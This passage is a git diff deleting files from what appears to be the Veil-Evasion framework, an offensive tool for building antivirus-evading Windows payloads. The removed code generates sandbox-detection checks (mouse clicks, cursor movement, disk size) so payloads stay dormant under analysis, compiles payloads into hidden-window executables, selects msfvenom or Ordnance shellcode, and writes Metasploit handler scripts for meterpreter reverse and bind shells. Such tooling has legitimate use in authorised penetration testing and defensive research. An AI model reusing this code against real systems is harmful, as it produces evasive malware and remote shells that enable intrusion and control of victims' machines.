'\t}\n' - check_code += '}\n' - check_code += 'if len(' + evd_sandbox + ') == 0 {\n' - num_tabs_required += 1 - - if evasion_payload.required_options["CLICKTRACK"][0].lower() != 'x': - - usr32 = evasion_helpers.randomString() - getkey_state = evasion_helpers.randomString() - counter = evasion_helpers.randomString() - min_clicks = evasion_helpers.randomString() - lft_click = evasion_helpers.randomString() - rght_click = evasion_helpers.randomString() - - check_code += 'var ' + usr32 + ' = syscall.NewLazyDLL("user32.dll")\n' - check_code += 'var ' + getkey_state + ' = ' + usr32 + '.NewProc("GetAsyncKeyState")\n' - check_code += 'var ' + counter + ' = 0\n' - check_code += 'var ' + min_clicks + ' = ' + evasion_payload.required_options["CLICKTRACK"][0] + '\n' - check_code += 'for ' + counter + ' < ' + min_clicks + ' {\n' - check_code += '\t' + lft_click + ', _, _ := ' + getkey_state + '.Call(uintptr(0x1))\n' - check_code += '\t' + rght_click + ', _, _ := ' + getkey_state + '.Call(uintptr(0x2))\n' - check_code += '\tif ' + lft_click + ' % 2 == 1 {\n' - check_code += '\t\t' + counter + ' += 1\n' - check_code += '\t}\n' - check_code += '\tif ' + rght_click + ' % 2 == 1 {\n' - check_code += '\t\t' + counter + ' += 1\n' - check_code += '\t}\n' - check_code += '}\n' - check_code += 'if true {\n' - num_tabs_required += 1 - - if evasion_payload.required_options["CURSORCHECK"][0].lower() != 'false': - - usr32 = evasion_helpers.randomString() - cursor_position = evasion_helpers.randomString() - point_struct = evasion_helpers.randomString() - secs = evasion_helpers.randomString() - point_var1 = evasion_helpers.randomString() - point_var2 = evasion_helpers.randomString() - - check_code += 'type ' + point_struct + ' struct {\n' - check_code += '\tx, y int32\n' - check_code += '}\n' - check_code += 'var ' + usr32 + ' = syscall.NewLazyDLL("user32.dll")\n' - check_code += 'var ' + cursor_position + ' = ' + usr32 + '.NewProc("GetCursorPos")\n' - check_code += secs + ' := 60\n' - check_code += point_var1 + ' := ' + point_struct + '{}\n' - check_code += cursor_position + '.Call(uintptr(unsafe.Pointer(&' + point_var1 + ')))\n' - check_code += 'time.Sleep(time.Duration(' + secs + ' * 1000) * time.Millisecond)\n' - check_code += point_var2 + ' := ' + point_struct + '{}\n' - check_code += cursor_position + '.Call(uintptr(unsafe.Pointer(&' + point_var2 + ')))\n' - check_code += 'if ' + point_var1 + '.x - ' + point_var2 + '.x == 0 && ' + point_var1 + '.y - ' + point_var2 + '.y == 0 {\n' - num_tabs_required += 1 - - if evasion_payload.required_options["DISKSIZE"][0].lower() != 'x': - - min_disk_size = evasion_helpers.randomString() - kernel32 = evasion_helpers.randomString() - getDiskFreeSpaceEx = evasion_helpers.randomString() - lpFreeBytesAvailable = evasion_helpers.randomString() - lpTotalNumberOfBytes = evasion_helpers.randomString() - lpTotalNumberOfFreeBytes = evasion_helpers.randomString() - cur_disk_size = evasion_helpers.randomString() - - check_code += min_disk_size + ' := float32(' + evasion_payload.required_options["DISKSIZE"][0] + ')\n' - check_code += 'var ' + kernel32 + ' = syscall.NewLazyDLL("kernel32.dll")\n' - check_code += 'var ' + getDiskFreeSpaceEx + ' = ' + kernel32 + '.NewProc("GetDiskFreeSpaceExW")\n' - check_code += lpFreeBytesAvailable + ' := int64(0)\n' - check_code += '\t' + lpTotalNumberOfBytes + ' := int64(0)\n' - check_code += '\t' + lpTotalNumberOfFreeBytes + ' := int64(0)\n' - check_code += getDiskFreeSpaceEx + '.Call(\n' - check_code += '\tuintptr(unsafe.Pointer(syscall.StringToUTF16Ptr("C:"))),\n' - check_code += '\tuintptr(unsafe.Pointer(&' + lpFreeBytesAvailable + ')),\n' - check_code += '\tuintptr(unsafe.Pointer(&' + lpTotalNumberOfBytes + ')),\n' - check_code += '\tuintptr(unsafe.Pointer(&' + lpTotalNumberOfFreeBytes + ')))\n' - check_code += cur_disk_size + ' := float32(' + lpTotalNumberOfBytes + ')/1073741824\n' - check_code += 'if (' + cur_disk_size + ' > ' + min_disk_size + ') {\n' - num_tabs_required += 1 - - # Return check information - return check_code, num_tabs_required - - else: - return '', 0 diff --git a/Tools/Evasion/evasion_common/outfile.py b/Tools/Evasion/evasion_common/outfile.py deleted file mode 100644 index 149e9cb..0000000 --- a/Tools/Evasion/evasion_common/outfile.py +++ /dev/null @@ -1,416 +0,0 @@ -""" -This file helps "compilation" of source code -""" - -import hashlib -import os -import sys -from tools.evasion.evasion_common import evasion_helpers -from lib.common import helpers - - -# Try to find and import the settings.py config file -try: - sys.path.append("/etc/veil/") - import settings - -except ImportError: - print("\n [!] ERROR #1: Run %s\n" % (os.path.abspath("./config/update-config.py"))) - sys.exit() - - -def compiler(payload_object, invoked=False, cli_object=None): - # Check the source code to ensure it is present - if payload_object.payload_source_code == '': - print(helpers.color("\n [!] ERROR: No payload source code provided.\n", warning=True)) - return False - else: - # print title bar - evasion_helpers.title_screen() - - if not invoked: - # Determine the file name to use for output - file_name = input('Please enter the base name for output files (default is payload): ').strip() - else: - file_name = cli_object.o - - # Basic checks on input - while file_name != '' and ("\\" in file_name or "/" in file_name): - print(helpers.color("\nPlease provide a base name, not a path, for the output base\n", warning=True)) - file_name = input('Please enter the base name for output files (default is payload): ').strip() - - # If no base name, set it to be payload - if file_name == '': - file_name = 'payload' - - # run check to make sure file doesn't exist, if it does - # provide a new filename - file_name = find_file_name(file_name, payload_object) - source_code_filepath = settings.PAYLOAD_SOURCE_PATH + file_name + "." + payload_object.extension - # Used when outputting exe files, go figure - executable_filepath = settings.PAYLOAD_COMPILED_PATH + file_name + ".exe" - - if payload_object.language is not "native" and payload_object.extension is not "war": - with open(source_code_filepath, 'w') as source_file: - source_file.write(payload_object.payload_source_code) - - if payload_object.language == 'python': - if not invoked: - compile_method = '' - else: - compile_method = cli_object.compiler - # Check extension for war or normal python file - if payload_object.extension == 'py': - if settings.OPERATING_SYSTEM == "Windows": - compile_method = 'py2exe' - else: - if payload_object.required_options['COMPILE_TO_EXE'][0].lower() == 'y' and not invoked: - evasion_helpers.title_screen() - # if we have a linux distro, continue... - # Determine if the user wants Pyinstaller, Pwnstaller, or Py2Exe. - print('\n [?] How would you like to create your payload executable?\n') - print(' %s - Pyinstaller %s' % (helpers.color('1'), helpers.color('(default)', yellow=True))) - print(' %s - Py2Exe\n' % (helpers.color('2'))) - - user_compile_choice = input(" [>] Please enter the number of your choice: ") - if user_compile_choice == "1" or user_compile_choice == "": - compile_method = "pyinstaller" - elif user_compile_choice == "2": - compile_method = "py2exe" - else: - compile_method = "pyinstaller" - - if compile_method == 'py2exe' and payload_object.required_options['COMPILE_TO_EXE'][0].lower() == 'y': - # Generate setup.py File for Py2Exe - with open(settings.PAYLOAD_SOURCE_PATH + '/setup.py', 'w') as setup_file: - setup_file.write("from distutils.core import setup\n") - setup_file.write("import py2exe, sys, os\n\n") - setup_file.write("setup(\n") - setup_file.write("\toptions = {'py2exe': {'bundle_files': 1}},\n") - setup_file.write("\tzipfile = None,\n") - setup_file.write("\twindows=['" + file_name + ".py']\n") - setup_file.write(")") - - # Generate Batch script for Compiling on Windows Using Py2Exe - with open(settings.PAYLOAD_SOURCE_PATH + '/runme.bat', 'w') as runme_file: - runme_file.write('rem Batch Script for compiling python code into an executable\n') - runme_file.write('rem on windows with py2exe\n') - runme_file.write('rem Usage: Drop into your Python folder and click, or anywhere if Python is in your system path\n\n') - runme_file.write("python setup.py py2exe\n") - runme_file.write('cd dist\n') - runme_file.write('move ' + file_name + '.exe ../\n') - runme_file.write('cd ..\n') - runme_file.write('rmdir /S /Q build\n') - runme_file.write('rmdir /S /Q dist\n') - - evasion_helpers.title_screen() - print_payload_information(payload_object) - print(helpers.color("\npy2exe files 'setup.py' and 'runme.bat' written to:\n" + settings.PAYLOAD_SOURCE_PATH + "\n")) - - else: - if payload_object.required_options['COMPILE_TO_EXE'][0].lower() == 'y': - # Used for PyInstaller standard - # copy the pyinstaller runw to maintain its integrity in the event - # pwnstaller is added in for python3 - this will future proof it - runw_path = settings.VEIL_EVASION_PATH + 'tools/evasion/evasion_common/tools/runw.orig.exe' - os.system("cp " + runw_path + " " + settings.PYINSTALLER_PATH + "/PyInstaller/bootloader/Windows-32bit/runw.exe") - - # Validate python is installed in wine - if not os.path.isfile(settings.WINEPREFIX + 'drive_c/Python34/python.exe'): - print(helpers.color("\n [!] ERROR: Can't find python.exe in " + os.path.expanduser(settings.WINEPREFIX + 'drive_c/Python34/'), warning=True)) - print(helpers.color(" [!] ERROR: Make sure the python.exe binary exists before using PyInstaller.", warning=True)) - sys.exit(1) - - random_key = evasion_helpers.randomString() - os.system('WINEPREFIX=' + settings.WINEPREFIX + ' wine ' + settings.WINEPREFIX + '/drive_c/Python34/python.exe' + ' ' + os.path.expanduser(settings.PYINSTALLER_PATH + '/pyinstaller.py') + ' --onefile --noconsole --key ' + random_key + ' ' + source_code_filepath) - - evasion_helpers.title_screen() - - if os.path.isfile('dist/' + file_name + ".exe"): - os.system('mv dist/' + file_name + ".exe " + settings.PAYLOAD_COMPILED_PATH) - hash_executable(executable_filepath, file_name) - print_payload_information(payload_object) - print(" [*] Executable written to: " + helpers.color(settings.PAYLOAD_COMPILED_PATH + file_name + ".exe")) - else: - print(helpers.color(" [!] ERROR: Unable to create output file.", warning=True)) - - os.system('rm -rf dist') - os.system('rm -rf build') - os.system('rm -f *.spec') - os.system('rm -f logdict*.*') - print(" [*] Source code written to: " + helpers.color(source_code_filepath)) - - elif payload_object.extension == 'war': - path_here = settings.PAYLOAD_COMPILED_PATH + file_name + "." + payload_object.extension - with open(path_here, 'wb') as source_file: - source_file.write(payload_object.payload_source_code) - # Ensure that war file was written to disk - if os.path.isfile(path_here): - hash_executable(path_here, file_name) - print_payload_information(payload_object) - print(" [*] WAR file written to: " + helpers.color(source_code_filepath)) - else: - print(helpers.color(" [!] ERROR: Unable to create WAR file.", warning=True)) - - else: - print(helpers.color(" [!] ERROR: Invalid python extension in payload module.\n", warning=True)) - - elif payload_object.language == 'ruby': - if payload_object.required_options['COMPILE_TO_EXE'][0].lower() == 'y': - os.system('WINEPREFIX=' + settings.WINEPREFIX + ' wine ' + settings.WINEPREFIX + '/drive_c/Ruby187/bin/ruby.exe ' + settings.WINEPREFIX + '/drive_c/Ruby187/bin/ocra --windows '+ source_code_filepath + ' --output ' + executable_filepath + ' ' + settings.WINEPREFIX + '/drive_c/Ruby187/lib/ruby/gems/1.8/gems/win32-api-1.4.8-x86-mingw32/lib/win32/*') - - evasion_helpers.title_screen() - - if os.path.isfile(executable_filepath): - hash_executable(executable_filepath, file_name) - print_payload_information(payload_object) - print(" [*] Executable written to: " + helpers.color(executable_filepath)) - else: - print(helpers.color(" [!] ERROR: Unable to create output file.", warning=True)) - print(" [*] Source code written to: " + helpers.color(source_code_filepath)) - - elif payload_object.language == 'powershell': - evasion_helpers.title_screen() - print_payload_information(payload_object) - print(" [*] PowerShell doesn't compile, so you just get text :)") - print(" [*] Source code written to: " + helpers.color(source_code_filepath)) - - elif payload_object.language == 'perl': - print_payload_information(payload_object) - print("\nPerl can't currently be compiled in Linux. Install on Windows:") - print("https://www.veil-framework.com/perl-of-no-hope-january-v-day-2016/") - print("Command: pp -gui -o ") - print(" [*] Source code written to: " + helpers.color(source_code_filepath)) - - elif payload_object.language == 'native': - # set path for native payload executable output - path_here = settings.PAYLOAD_COMPILED_PATH + file_name + "." + payload_object.extension - with open(path_here, 'wb') as source_file: - source_file.write(payload_object.payload_source_code) - # Ensure executables was written to disk - if os.path.isfile(path_here): - hash_executable(path_here, file_name) - print_payload_information(payload_object) - print(" [*] Exe file written to: " + helpers.color(path_here)) - else: - print(helpers.color(" [!] ERROR: Unable to create Exe file.", warning=True)) - - elif payload_object.language == 'lua': - print_payload_information(payload_object) - print(" [*] Lua currently doesn't compile in linux, so you just get text :)") - print(" [*] Source code written to: " + helpers.color(source_code_filepath)) - - elif payload_object.language == 'go': - if payload_object.required_options['COMPILE_TO_EXE'][0].lower() == 'y': - # Compile go payload - os.system('env GOROOT=/usr/local/go GOOS=windows GOARCH=386 /usr/bin/go build -ldflags "-s -w -H=windowsgui" -v -o ' + executable_filepath + ' ' + source_code_filepath) - - evasion_helpers.title_screen() - - if os.path.isfile(executable_filepath): - hash_executable(executable_filepath, file_name) - print_payload_information(payload_object) - print(" [*] Executable written to: " + helpers.color(executable_filepath)) - else: - print(helpers.color(" [!] ERROR: Unable to create output file.", warning=True)) - print(" [*] Source code written to: " + helpers.color(source_code_filepath)) - - elif payload_object.language == 'cs': - if payload_object.required_options['COMPILE_TO_EXE'][0].lower() == 'y': - # Compile our CS code into an executable and pass a compiler flag to prevent it from opening a command prompt when run - os.system('mcs -platform:x86 -target:winexe ' + source_code_filepath + ' -out:' + executable_filepath) - - evasion_helpers.title_screen() - - if os.path.isfile(executable_filepath): - hash_executable(executable_filepath, file_name) - print_payload_information(payload_object) - print(" [*] Executable written to: " + helpers.color(executable_filepath)) - else: - print(helpers.color(" [!] ERROR: Unable to create output file.", warning=True)) - print(" [*] Source code written to: " + helpers.color(source_code_filepath)) - - elif payload_object.language == 'c': - if payload_object.required_options['COMPILE_TO_EXE'][0].lower() == 'y': - # Compile our C code into an executable and pass a compiler flag to prevent it from opening a command prompt when run - os.system('i686-w64-mingw32-gcc -Wl,-subsystem,windows ' + source_code_filepath + ' -o ' + executable_filepath + " -lwsock32") - - evasion_helpers.title_screen() - - if os.path.isfile(executable_filepath): - hash_executable(executable_filepath, file_name) - print_payload_information(payload_object) - print(" [*] Executable written to: " + helpers.color(executable_filepath)) - else: - print(helpers.color(" [!] ERROR: Unable to create output file.", warning=True)) - print(" [*] Source code written to: " + helpers.color(source_code_filepath)) - - elif payload_object.language == 'autoit': - if payload_object.required_options['COMPILE_TO_EXE'][0].lower() == 'y': - # Compile autoit code - os.system('WINEPREFIX=' + settings.WINEPREFIX + ' wine ' + settings.WINEPREFIX + 'drive_c/Program\ Files/AutoIt3/Aut2Exe/Aut2exe.exe /in ' + source_code_filepath + ' /out ' + executable_filepath + ' /comp 2 /nopack') - - if os.path.isfile(executable_filepath): - hash_executable(executable_filepath, file_name) - print_payload_information(payload_object) - print(" [*] Executable written to: " + helpers.color(executable_filepath)) - else: - print(helpers.color(" [!] ERROR: Unable to create output file.", warning=True)) - print(" [*] Source code written to: " + helpers.color(source_code_filepath)) - - else: - print(helpers.color("\n [!] ERROR: Invalid payload language in payload module.\n", warning=True)) - return False - - if invoked: - handler_code_generator(payload_object, file_name, invoked=True, cli_obj=cli_object) - else: - handler_code_generator(payload_object, file_name) - if os.path.isfile(settings.HANDLER_PATH + file_name + '.rc'): - print(" [*] Metasploit RC file written to: " + helpers.color(settings.HANDLER_PATH + file_name + '.rc')) - - if not invoked: - dummy = input('\nPlease press enter to continue >: ') - - # End of if statement checking to make sure payload_source_code is - # not empty - - return True - - -def find_file_name(payload_name, selected_payload_object): - # Assume file exists until we can verify it doesn't - filename_exists = True - counter = 0 - first_time = True - while filename_exists: - if first_time: - if not os.path.isfile(settings.PAYLOAD_SOURCE_PATH + payload_name + "." + selected_payload_object.extension) and not os.path.isfile(settings.PAYLOAD_COMPILED_PATH + payload_name + "." + selected_payload_object.extension): - filename_exists = False - else: - counter += 1 - first_time = False - else: - if not os.path.isfile(settings.PAYLOAD_SOURCE_PATH + payload_name + str(counter) + "." + selected_payload_object.extension) and not os.path.isfile(settings.PAYLOAD_COMPILED_PATH + payload_name + str(counter) + "." + selected_payload_object.extension): - filename_exists = False - else: - counter += 1 - if first_time: - return payload_name - else: - return payload_name + str(counter) - - -def handler_code_generator(selected_payobject, handler_name, invoked=False, cli_obj=None): - lhost_value = '' - lport_value = '' - rhost_value = '' - payload_used = '' - skip_handler = False - - if selected_payobject.language != "native" and selected_payobject.extension != "war": - if 'shellcode_inject' in selected_payobject.path: - # Parse the object to generate the payload - if type(selected_payobject.shellcode.shellcode_options) is dict or invoked: - if selected_payobject.payload_type == 'rev_tcp': - payload_used = 'windows/meterpreter/reverse_tcp' - elif selected_payobject.payload_type == 'rev_http': - payload_used = 'windows/meterpreter/reverse_http' - elif selected_payobject.payload_type == 'rev_https': - payload_used = 'windows/meterpreter/reverse_https' - elif selected_payobject.payload_type == 'rev_tcp_dns': - payload_used = 'windows/meterpreter/reverse_tcp_dns' - elif selected_payobject.payload_type == 'rev_tcp_all_ports': - payload_used = 'windows/meterpreter/reverse_tcp_allports' - elif selected_payobject.payload_type == 'bind_tcp': - payload_used = 'windows/meterpreter/bind_tcp' - - if invoked: - if cli_obj.ordnance_payload is not None and cli_obj.ordnance_payload.lower() == 'bind_tcp': - rhost_value = cli_obj.ip - else: - lhost_value = cli_obj.ip - lport_value = str(cli_obj.port) - else: - if 'LHOST' in selected_payobject.shellcode.shellcode_options: - lhost_value = selected_payobject.shellcode.shellcode_options['LHOST'] - if 'LPORT' in selected_payobject.shellcode.shellcode_options: - lport_value = selected_payobject.shellcode.shellcode_options['LPORT'] - if 'RHOST' in selected_payobject.shellcode.shellcode_options: - rhost_value = selected_payobject.shellcode.shellcode_options['RHOST'] - - else: - # parse msfvenom command - payload_used = selected_payobject.payload_type - - split_msf_command = selected_payobject.shellcode.shellcode_options.split() - for option in split_msf_command: - if 'LHOST' in option: - lhost_value = option.split('=')[1] - elif 'LPORT' in option: - lport_value = option.split('=')[1] - elif 'RHOST' in option: - rhost_value = option.split('=')[1] - - elif 'meterpreter' in selected_payobject.path: - # Determine payload type - if 'bind_tcp' in selected_payobject.path: - payload_used = 'windows/meterpreter/bind_tcp' - elif 'rev_tcp' in selected_payobject.path: - payload_used = 'windows/meterpreter/reverse_tcp' - elif 'rev_https' in selected_payobject.path: - payload_used = 'windows/meterpreter/reverse_https' - elif 'rev_http' in selected_payobject.path: - payload_used = 'windows/meterpreter/reverse_http' - - # Grab LHOST or RHOST and LPORT values - if 'LHOST' in selected_payobject.required_options: - lhost_value = selected_payobject.required_options['LHOST'][0] - if 'RHOST' in selected_payobject.required_options: - rhost_value = selected_payobject.required_options['RHOST'][0] - if 'LPORT' in selected_payobject.required_options: - lport_value = selected_payobject.required_options['LPORT'][0] - - # Generate the handler file - handler_text = 'use exploit/multi/handler\n' - handler_text += 'set PAYLOAD ' + payload_used + '\n' - if lhost_value: - handler_text += 'set LHOST ' + lhost_value + '\n' - elif rhost_value: - handler_text += 'set RHOST ' + rhost_value + '\n' - else: - print(helpers.color("\nError generating handler code, giving up on creating the .rc file\n", warning=True)) - skip_handler = True - handler_text += 'set LPORT ' + str(lport_value) + '\n' - handler_text += 'set ExitOnSession false\n' - handler_text += 'exploit -j' - - if not skip_handler: - with open(settings.HANDLER_PATH + handler_name + '.rc', 'w') as handler_out: - handler_out.write(handler_text) - else: - # we do nothing since no handler file is made for native payloads - pass - return - - -def hash_executable(exe_path, file_name): - # Read executable, hash it, and store in file - with open(exe_path, 'rb') as get_hash: - exe_contents = get_hash.read() - - sha1_hasher = hashlib.sha1() - sha1_hasher.update(exe_contents) - sha1_hash = sha1_hasher.hexdigest() - - # Write hashed value to file - with open(settings.HASH_LIST, 'a') as hash_file: - hash_file.write(sha1_hash + ":" + file_name + "\n") - - return - - -def print_payload_information(pay_object): - print(' [*] Language: ' + helpers.color(pay_object.language)) - print(' [*] Payload Module: ' + helpers.color(pay_object.path)) - return diff --git a/Tools/Evasion/evasion_common/shellcode_help.py b/Tools/Evasion/evasion_common/shellcode_help.py deleted file mode 100644 index 7481f78..0000000 --- a/Tools/Evasion/evasion_common/shellcode_help.py +++ /dev/null @@ -1,569 +0,0 @@ -""" -Contains main Shellcode class as well as the Completer class used -for tab completion of metasploit payload selection. -""" - -# Import Modules -import socket -import os -import readline -import subprocess -import binascii -import sys - -from lib.common import helpers -from tools.evasion.evasion_common import evasion_helpers -from lib.common import completer - - -# Try to find and import the settings.py config file -try: - sys.path.append("/etc/veil/") - import settings - -except ImportError: - print("\n [!] ERROR #1: Run %s\n" % (os.path.abspath("./config/update-config.py"))) - sys.exit() - - -sys.path.insert(0, settings.VEIL_EVASION_PATH + 'tools/ordnance') -import tool as ordnance_import - - -class Shellcode: - """ - Class that represents a shellcode object, custom of msfvenom generated. - - """ - def __init__(self, cli_obj): - # the nested dictionary passed to the completer - self.payload_tree = {} - # the entier msfvenom command that may be built - self.msfvenomCommand = "" - # any associated msfvenom options - self.msfvenom_options = list() - # in case user specifies a custom shellcode string - self.custom_shellcode = "" - # specific msfvenom payload specified - self.msfvenompayload = "" - # misc options - self.options = list() - # required options - self.required_options = list() - # load up all the metasploit modules available - self.LoadModules() - # Used when Ordnance generates shellcode - self.invoke_ordnance = False - self.ord_lhost = None - self.ord_lport = None - # Load cli options - self.cli_options = cli_obj - self.payload_choice = '' - self.shellcode_options = '' - - def Reset(self): - """ - reset the state of any internal variables, everything but self.payload_tree - """ - self.msfvenomCommand = "" - self.msfvenom_options = list() - self.custom_shellcode = "" - self.msfvenompayload = "" - self.options = list() - - def LoadModules(self): - """ - Crawls the metasploit install tree and extracts available payloads - and their associated required options for languages specified. - - """ - - # Variable changed for compatibility with non-root and non-Kali users - # Thanks to Tim Medin for the patch - msfFolder = settings.METASPLOIT_PATH - - # I can haz multiple platforms? - platforms = ["windows"] - - for platform in platforms: - self.payload_tree[platform] = {} - - stagesX86 = list() - stagesX64 = list() - - # load up all the stages (meterpreter/vnc/etc.) - # TODO: detect Windows and modify the paths appropriately - for root, dirs, files in os.walk(settings.METASPLOIT_PATH + "/modules/payloads/stages/" + platform + "/"): - for f in files: - stageName = f.split(".")[0] - if "x64" in root: - stagesX64.append(f.split(".")[0]) - if "x64" not in self.payload_tree[platform]: - self.payload_tree[platform]["x64"] = {} - self.payload_tree[platform]["x64"][stageName] = {} - elif "x86" in root: # linux payload structure format - stagesX86.append(f.split(".")[0]) - if "x86" not in self.payload_tree[platform]: - self.payload_tree[platform]["x86"] = {} - self.payload_tree[platform]["x86"][stageName] = {} - else: # windows payload structure format - stagesX86.append(f.split(".")[0]) - if stageName not in self.payload_tree[platform]: - self.payload_tree[platform][stageName] = {} - - # load up all the stagers (reverse_tcp, bind_tcp, etc.) - # TODO: detect Windows and modify the paths appropriately - for root, dirs, files in os.walk(settings.METASPLOIT_PATH + "/modules/payloads/stagers/" + platform + "/"): - for f in files: - - if ".rb" in f: - extraOptions = list() - moduleName = f.split(".")[0] - lines = open(root + "/" + f).readlines() - for line in lines: - if "OptString" in line.strip() and "true" in line.strip(): - cmd = line.strip().split(",")[0].replace("OptString.new(","")[1:-1] - extraOptions.append(cmd) - if "bind" in f: - if "x64" in root: - for stage in stagesX64: - self.payload_tree[platform]["x64"][stage][moduleName] = ["LPORT"] + extraOptions - elif "x86" in root: - for stage in stagesX86: - self.payload_tree[platform]["x86"][stage][moduleName] = ["LPORT"] + extraOptions - else: - for stage in stagesX86: - self.payload_tree[platform][stage][moduleName] = ["LPORT"] + extraOptions - if "reverse" in f: - if "x64" in root: - for stage in stagesX64: - self.payload_tree[platform]["x64"][stage][moduleName] = ["LHOST", "LPORT"] + extraOptions - elif "x86" in root: - for stage in stagesX86: - self.payload_tree[platform]["x86"][stage][moduleName] = ["LHOST", "LPORT"] + extraOptions - else: - for stage in stagesX86: - self.payload_tree[platform][stage][moduleName] = ["LHOST", "LPORT"] + extraOptions - - # load up any payload singles - # TODO: detect Windows and modify the paths appropriately - for root, dirs, files in os.walk(settings.METASPLOIT_PATH + "/modules/payloads/singles/" + platform + "/"): - for f in files: - - if ".rb" in f: - - with open(root + "/" + f) as ruby_file: - lines = ruby_file.readlines() - totalOptions = list() - moduleName = f.split(".")[0] - - for line in lines: - if "OptString" in line.strip() and "true" in line.strip(): - cmd = line.strip().split(",")[0].replace("OptString.new(","")[1:-1] - totalOptions.append(cmd) - if "bind" in f: - totalOptions.append("LPORT") - if "reverse" in f: - totalOptions.append("LHOST") - totalOptions.append("LPORT") - if "x64" in root: - self.payload_tree[platform]["x64"][moduleName] = totalOptions - elif "x86" in root: - self.payload_tree[platform]["x86"][moduleName] = totalOptions - else: - self.payload_tree[platform][moduleName] = totalOptions - return - - def payload_selection_menu(self, showTitle=True): - """ - Menu to prompt the user for a custom shellcode string. - - Returns None if nothing is specified. - """ - - # print out the main title to reset the interface - if showTitle: - evasion_helpers.title_screen() - - print(' [?] Generate or supply custom shellcode?\n') - print(' %s - Ordnance %s' % (helpers.color('1'), helpers.color('(default)', yellow=True))) - print(' %s - MSFVenom' % (helpers.color('2'))) - print(' %s - custom shellcode string' % (helpers.color('3'))) - print(' %s - file with shellcode (\\x41\\x42..)' % (helpers.color('4'))) - print(' %s - binary file with shellcode\n' % helpers.color('5')) - - try: - choice = self.required_options['SHELLCODE'][0].lower().strip() - print(" [>] Please enter the number of your choice: %s" % (choice)) - except: - choice = input(" [>] Please enter the number of your choice: ").strip() - - if choice == '4': - # instantiate our completer object for path completion - comp = completer.PathCompleter() - - # we want to treat '/' as part of a word, so override the delimiters - readline.set_completer_delims(' \t\n;') - readline.parse_and_bind("tab: complete") - readline.set_completer(comp.complete) - - # if the shellcode is specicified as a raw file - filePath = input(" [>] Please enter the path to your shellcode file: ") - - try: - with open(filePath, 'r') as shellcode_file: - file_shellcode = shellcode_file.read() - file_shellcode = file_shellcode.strip() - except: - print(helpers.color(" [!] WARNING: path not found, defaulting to msfvenom!", warning=True)) - return None - - if len(file_shellcode) == 0: - print(helpers.color(" [!] WARNING: no custom shellcode restrieved, defaulting to msfvenom!", warning=True)) - return None - - # check if the shellcode was passed in as string-escaped form - if file_shellcode[0:2] == "\\x" and file_shellcode[4:6] == "\\x": - return file_shellcode - else: - # otherwise encode the raw data as a hex string - hexString = binascii.hexlify(file_shellcode) - file_shellcode = "\\x"+"\\x".join([hexString[i:i + 2] for i in range(0, len(hexString), 2)]) - return file_shellcode - - # remove the completer - readline.set_completer(None) - - elif choice == '5': - # instantiate our completer object for path completion - comp = completer.PathCompleter() - - # we want to treat '/' as part of a word, so override the delimiters - readline.set_completer_delims(' \t\n;') - readline.parse_and_bind("tab: complete") - readline.set_completer(comp.complete) - - # if the shellcode is specicified as a raw file - filePath = input(" [>] Please enter the path to your binary file: ") - - try: - with open(filePath, 'rb') as shellcode_file: - file_shellcode = shellcode_file.read() - - except: - print(helpers.color(" [!] WARNING: path not found, defaulting to msfvenom!", warning=True)) - return None - - if len(file_shellcode) == 0: - print(helpers.color(" [!] WARNING: no custom shellcode restrieved, defaulting to msfvenom!", warning=True)) - return None - - binary_code = '' - # Convert from binary to shellcode - for byte in file_shellcode: - binary_code += "\\x" + hex(byte)[2:].zfill(2) - return binary_code - - elif choice == '3' or choice == 'string': - # if the shellcode is specified as a string - cust_sc = input(" [>] Please enter custom shellcode (one line, no quotes, \\x00.. format): ") - if len(cust_sc) == 0: - print(helpers.color(" [!] WARNING: no shellcode specified, defaulting to msfvenom!", warning=True)) - return cust_sc - - elif choice == '' or choice == '1' or choice.lower() == 'veil-ordnance' or choice.lower() == 'ordnance': - return 'ordnance' - - elif choice == '2' or choice.lower() == 'msf' or choice.lower() == 'metasploit' or choice.lower() == 'msfvenom': - return None - - else: - print(helpers.color(" [!] WARNING: Invalid option chosen, defaulting to Ordnance!", warning=True)) - return 'ordnance' - - def menu(self): - """ - Main interactive menu for shellcode selection. - - Utilizes Completer() to do tab completion on - loaded metasploit payloads. - """ - selected_payload = None - options = None - showMessage = False - if settings.TERMINAL_CLEAR != "false": - showMessage = True - - # if no generation method has been selected yet - if self.msfvenomCommand == "" and self.custom_shellcode == "": - - # show banner? - if settings.TERMINAL_CLEAR != "false": - showMessage = True - - # prompt for custom shellcode or msfvenom - custom_shellcode = self.payload_selection_menu(showMessage) - - # if custom shellcode is specified, set it - if custom_shellcode == "ordnance": - # Start figuring out Ordnance stuff here - self.invoke_ordnance = True - - elif custom_shellcode: - self.custom_shellcode = custom_shellcode - - # else, if no custom shellcode is specified, prompt for metasploit - else: - - # instantiate our completer object for tab completion of available payloads - comp = completer.MSFCompleter(self.payload_tree) - - # we want to treat '/' as part of a word, so override the delimiters - readline.set_completer_delims(' \t\n;') - readline.parse_and_bind("tab: complete") - readline.set_completer(comp.complete) - - # have the user select the payload - while selected_payload is None: - - print('\n [*] Press %s for windows/meterpreter/reverse_tcp' % helpers.color('[enter]', yellow=True)) - print(' [*] Press %s to list available payloads' % helpers.color('[tab]', yellow=True)) - - try: - selected_payload = self.required_options['MSF_PAYLOAD'][0] - print(' [>] Please enter metasploit payload: %s' % (selected_payload)) - except: - selected_payload = input(' [>] Please enter metasploit payload: ').strip().lower() - - if selected_payload == "": - # default to reverse_tcp for the payload - selected_payload = "windows/meterpreter/reverse_tcp" - try: - parts = selected_payload.split("/") - # walk down the selected parts of the payload tree to get to the options at the bottom - options = self.payload_tree - for part in parts: - options = options[part] - - except KeyError: - # make sure user entered a valid payload - if 'PAYLOAD' in self.required_options: - del self.required_options['PAYLOAD'] - print(helpers.color(" [!] ERROR: Invalid payload specified!\n", warning=True)) - selected_payload = None - - # remove the tab completer - readline.set_completer(None) - - # set the internal payload to the one selected - self.msfvenompayload = selected_payload - - # request a value for each required option - for option in options: - value = "" - while value == "": - - ### VALIDATION ### - # LHOST is a special case, so we can tab complete the local IP - if option == "LHOST": - - try: - value = self.required_options['LHOST'][0] - print(' [>] Enter value for \'LHOST\', [tab] for local IP: %s' % (value)) - except: - # set the completer to fill in the local IP - readline.set_completer(completer.IPCompleter().complete) - value = input(' [>] Enter value for \'LHOST\', [tab] for local IP: ').strip() - - if '.' in value: - - hostParts = value.split(".") - if len(hostParts) > 1: - - # if the last chunk is a number, assume it's an IP address - if hostParts[-1].isdigit(): - - # do a IP validation check - if not helpers.validate_ip(value): - if 'LHOST' in self.required_options: - self.required_options['LHOST'][0] = '' - print(helpers.color("\n [!] ERROR: Bad IP address specified.\n", warning=True)) - value = "" - - # otherwise assume we've been passed a domain name - 